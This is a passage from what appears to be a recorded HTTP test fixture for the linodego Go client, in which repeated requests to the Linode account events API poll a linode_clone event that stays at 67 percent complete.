Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.5679, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.649941, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.709314, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.998084, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 62.105516, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 62.184279, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 62.247038, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 62.31375, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 62.384512, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 62.443239, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 62.629736, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 62.691273, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.007671, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.078255, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.14262, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.220345, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.282421, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - 